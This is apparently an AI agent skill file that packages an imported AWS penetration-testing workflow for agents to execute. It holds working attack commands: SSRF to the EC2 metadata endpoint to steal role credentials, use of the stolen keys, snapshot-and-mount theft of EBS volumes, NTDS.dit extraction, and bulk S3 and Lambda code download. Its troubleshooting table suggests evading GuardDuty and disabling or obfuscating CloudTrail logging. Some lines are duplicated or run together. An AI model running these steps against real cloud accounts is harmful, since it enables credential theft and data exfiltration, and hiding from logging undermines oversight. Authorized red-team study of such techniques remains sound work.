AWS Penetration Testing workflow skill. Use this skill when the user needs Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations and the operator should preserve the upstream workflow, copied support files, and provenance before merging or handing off.
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name
aws-penetration-testing-v2
description
AWS Penetration Testing workflow skill. Use this skill when the user needs Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations and the operator should preserve the upstream workflow, copied support files, and provenance before merging or handing off.
This public intake copy packages plugins/antigravity-awesome-skills/skills/aws-penetration-testing from https://github.com/sickn33/antigravity-awesome-skills into the native Omni Skills editorial shape without hiding its origin.
Use it when the operator needs the upstream workflow, support files, and repository context to stay intact while the public validator and private enhancer continue their normal downstream flow.
This intake keeps the copied upstream files intact and uses the external_source block in metadata.json plus ORIGIN.md as the provenance anchor for review.
AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments. # AWS Penetration Testing
Imported source sections that did not map cleanly to the public headings are still preserved below or in the support files. Notable imported sections: Purpose, Inputs/Prerequisites, Outputs/Deliverables, Essential Tools, Privilege Escalation Techniques, S3 Bucket Exploitation.
When to Use This Skill
Use this section as the trigger filter. It should make the activation boundary explicit before the operator loads files, runs commands, or opens a pull request.
This skill is applicable to execute the workflow or actions described in the overview.
Use when the request clearly matches the imported source intent: Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence....
Use when the operator should preserve upstream workflow detail instead of rewriting the process from scratch.
Use when provenance needs to stay visible in the answer, PR, or review packet.
Use when copied upstream references, examples, or scripts materially improve the answer.
Use when the workflow should remain reviewable in the public intake repo before the private enhancer takes over.
Operating Table
Situation
Start here
Why it matters
First-time use
metadata.json
Confirms repository, branch, commit, and imported path through the external_source block before touching the copied workflow
Provenance review
ORIGIN.md
Gives reviewers a plain-language audit trail for the imported source
Workflow execution
references/advanced-aws-pentesting.md
Starts with the smallest copied file that materially changes execution
Supporting context
references/advanced-aws-pentesting.md
Adds the next most relevant copied source file without loading the entire package
Handoff decision
## Related Skills
Helps the operator switch to a stronger native skill when the task drifts
Workflow
This workflow is intentionally editorial and operational at the same time. It keeps the imported source useful to the operator while still satisfying the public intake standards that feed the downstream enhancer flow.
Step 1: Initial Enumeration Identify the compromised identity and permissions: ``bash # Check current identity aws sts get-caller-identity # Configure profile aws configure --profile compromised # List access keys aws iam list-access-keys # Enumerate permissions ./enumerate-iam.py --access-key AKIA...
Step 2: IAM Enumeration bash # List all users aws iam list-users # List groups for user aws iam list-groups-for-user --user-name TARGETUSER # List attached policies aws iam list-attached-user-policies --user-name TARGETUSER # List inline policies aws iam list-user-policies --user-name TARGETUSER # Get policy details aws iam get-policy --policy-arn POLICYARN aws iam get-policy-version --policy-arn POLICYARN --version-id v1 # List roles aws iam list-roles aws iam list-attached-role-policies --role-name ROLENAME ### Step 3: Metadata SSRF (EC2) Exploit SSRF to access metadata endpoint (IMDSv1): bash # Access metadata endpoint http://169.254.169.254/latest/meta-data/ # Get IAM role name http://169.254.169.254/latest/meta-data/iam/security-credentials/ # Extract temporary credentials http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME # Response contains: { "AccessKeyId": "ASIA...", "SecretAccessKey": "...", "Token": "...", "Expiration": "2019-08-01T05:20:30Z" } For IMDSv2 (token required): bash # Get token first TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \ "http://169.254.169.254/latest/api/token") # Use token for requests curl -H "X-aws-ec2-metadata-token:$TOKEN" \ "http://169.254.169.254/latest/meta-data/iam/security-credentials/" Fargate Container Credentials: bash # Read environment for credential path /proc/self/environ # Look for: AWSCONTAINERCREDENTIALSRELATIVEURI=/v2/credentials/...
Confirm the user goal, the scope of the imported workflow, and whether this skill is still the right router for the task.
Read the overview and provenance files before loading any copied upstream support files.
Load only the references, examples, prompts, or scripts that materially change the outcome for the current request.
Execute the upstream workflow while keeping provenance and source boundaries explicit in the working notes.
Imported Workflow Notes
Imported: Core Workflow
Step 1: Initial Enumeration
Identify the compromised identity and permissions:
# Check current identity
aws sts get-caller-identity
# Configure profile
aws configure --profile compromised
# List access keys
aws iam list-access-keys
# Enumerate permissions
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
Step 2: IAM Enumeration
# List all users
aws iam list-users
# List groups for user
aws iam list-groups-for-user --user-name TARGET_USER
# List attached policies
aws iam list-attached-user-policies --user-name TARGET_USER
# List inline policies
aws iam list-user-policies --user-name TARGET_USER
# Get policy details
aws iam get-policy --policy-arn POLICY_ARN
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1
# List roles
aws iam list-roles
aws iam list-attached-role-policies --role-name ROLE_NAME
Step 3: Metadata SSRF (EC2)
Exploit SSRF to access metadata endpoint (IMDSv1):
# Access metadata endpoint
http://169.254.169.254/latest/meta-data/
# Get IAM role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Extract temporary credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# Response contains:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2019-08-01T05:20:30Z"
}
For IMDSv2 (token required):
# Get token first
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
"http://169.254.169.254/latest/api/token")
# Use token for requests
curl -H "X-aws-ec2-metadata-token:$TOKEN" \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.
Examples
Example 1: Ask for the upstream workflow directly
Use @aws-penetration-testing-v2 to handle <task>. Start from the copied upstream workflow, load only the files that change the outcome, and keep provenance visible in the answer.
Explanation: This is the safest starting point when the operator needs the imported workflow, but not the entire repository.
Example 2: Ask for a provenance-grounded review
Review @aws-penetration-testing-v2 against metadata.json and ORIGIN.md, then explain which copied upstream files you would load first and why.
Explanation: Use this before review or troubleshooting when you need a precise, auditable explanation of origin and file selection.
Example 3: Narrow the copied support files before execution
Use @aws-penetration-testing-v2 for <task>. Load only the copied references, examples, or scripts that change the outcome, and name the files explicitly before proceeding.
Explanation: This keeps the skill aligned with progressive disclosure instead of loading the whole copied package by default.
Example 4: Build a reviewer packet
Review @aws-penetration-testing-v2 using the copied upstream files plus provenance, then summarize any gaps before merge.
Explanation: This is useful when the PR is waiting for human review and you want a repeatable audit packet.
Imported Usage Notes
Imported: SSM Command Execution
Systems Manager allows command execution on EC2 instances:
# 1. Find SSRF vulnerability in web app
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 2. Get role name from response# 3. Extract credentials
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
# 4. Configure AWS CLI with stolen credsexport AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
# 5. Verify access
aws sts get-caller-identity
Best Practices
Treat the generated public skill as a reviewable packaging layer around the upstream repository. The goal is to keep provenance explicit and load only the copied source material that materially improves execution.
Keep the imported skill grounded in the upstream repository; do not invent steps that the source material cannot support.
Prefer the smallest useful set of support files so the workflow stays auditable and fast to review.
Keep provenance, source commit, and imported file paths visible in notes and PR descriptions.
Point directly at the copied upstream files that justify the workflow instead of relying on generic review boilerplate.
Treat generated examples as scaffolding; adapt them to the concrete task before execution.
Route to a stronger native skill when architecture, debugging, design, or security concerns become dominant.
Troubleshooting
Problem: The operator skipped the imported context and answered too generically
Symptoms: The result ignores the upstream workflow in plugins/antigravity-awesome-skills/skills/aws-penetration-testing, fails to mention provenance, or does not use any copied source files at all.
Solution: Re-open metadata.json, ORIGIN.md, and the most relevant copied upstream files. Check the external_source block first, then restate the provenance before continuing.
Problem: The imported workflow feels incomplete during review
Symptoms: Reviewers can see the generated SKILL.md, but they cannot quickly tell which references, examples, or scripts matter for the current task.
Solution: Point at the exact copied references, examples, scripts, or assets that justify the path you took. If the gap is still real, record it in the PR instead of hiding it.
Problem: The task drifted into a different specialization
Symptoms: The imported skill starts in the right place, but the work turns into debugging, architecture, design, security, or release orchestration that a native skill handles better.
Solution: Use the related skills section to hand off deliberately. Keep the imported provenance visible so the next skill inherits the right context instead of starting blind.
Imported Troubleshooting Notes
Imported: Troubleshooting
Issue
Solution
Access Denied on all commands
Enumerate permissions with enumerate-iam
Metadata endpoint blocked
Check for IMDSv2, try container metadata
GuardDuty alerts
Use Pacu with custom user-agent
Expired credentials
Re-fetch from metadata (temp creds rotate)
CloudTrail logging actions
Consider disable or log obfuscation
Related Skills
@00-andruia-consultant - Use when the work is better handled by that native specialization after this imported skill establishes context.
@00-andruia-consultant-v2 - Use when the work is better handled by that native specialization after this imported skill establishes context.
@10-andruia-skill-smith - Use when the work is better handled by that native specialization after this imported skill establishes context.
@10-andruia-skill-smith-v2 - Use when the work is better handled by that native specialization after this imported skill establishes context.
Additional Resources
Use this support matrix and the linked files below as the operator packet for this imported skill. They should reflect real copied source material, not generic scaffolding.
Resource family
What it gives the reviewer
Example path
references
copied reference notes, guides, or background material from upstream
references/advanced-aws-pentesting.md
examples
worked examples or reusable prompts copied from upstream
examples/n/a
scripts
upstream helper scripts that change execution or validation
scripts/n/a
agents
routing or delegation notes that are genuinely part of the imported package
agents/n/a
assets
supporting assets or schemas copied from the source package
# Using bucket_finder
./bucket_finder.rb wordlist.txt
./bucket_finder.rb --download --region us-east-1 wordlist.txt
# Common bucket URL patterns
https://{bucket-name}.s3.amazonaws.com
https://s3.amazonaws.com/{bucket-name}
Bucket Enumeration
# List buckets (with creds)
aws s3 ls# List bucket contents
aws s3 ls s3://bucket-name --recursive
# Download all files
aws s3 sync s3://bucket-name ./local-folder
Public Bucket Search
https://buckets.grayhatwarfare.com/
Imported: Lambda Exploitation
# List Lambda functions
aws lambda list-functions
# Get function code
aws lambda get-function --function-name FUNCTION_NAME
# Download URL provided in response# Invoke function
aws lambda invoke --function-name FUNCTION_NAME output.txt
Imported: EC2 Exploitation
Mount EBS Volume
# Create snapshot of target volume
aws ec2 create-snapshot --volume-id vol-xxx --description "Audit"# Create volume from snapshot
aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a
# Attach to attacker instance
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf
# Mount and accesssudomkdir /mnt/stolen
sudo mount /dev/xvdf1 /mnt/stolen
Shadow Copy Attack (Windows DC)
# CloudCopy technique# 1. Create snapshot of DC volume# 2. Share snapshot with attacker account# 3. Mount in attacker instance# 4. Extract NTDS.dit and SYSTEM
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local
Imported: Console Access from API Keys
Convert CLI credentials to console access:
git clone https://github.com/NetSPI/aws_consoler
aws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY
# Generates signin URL for console access
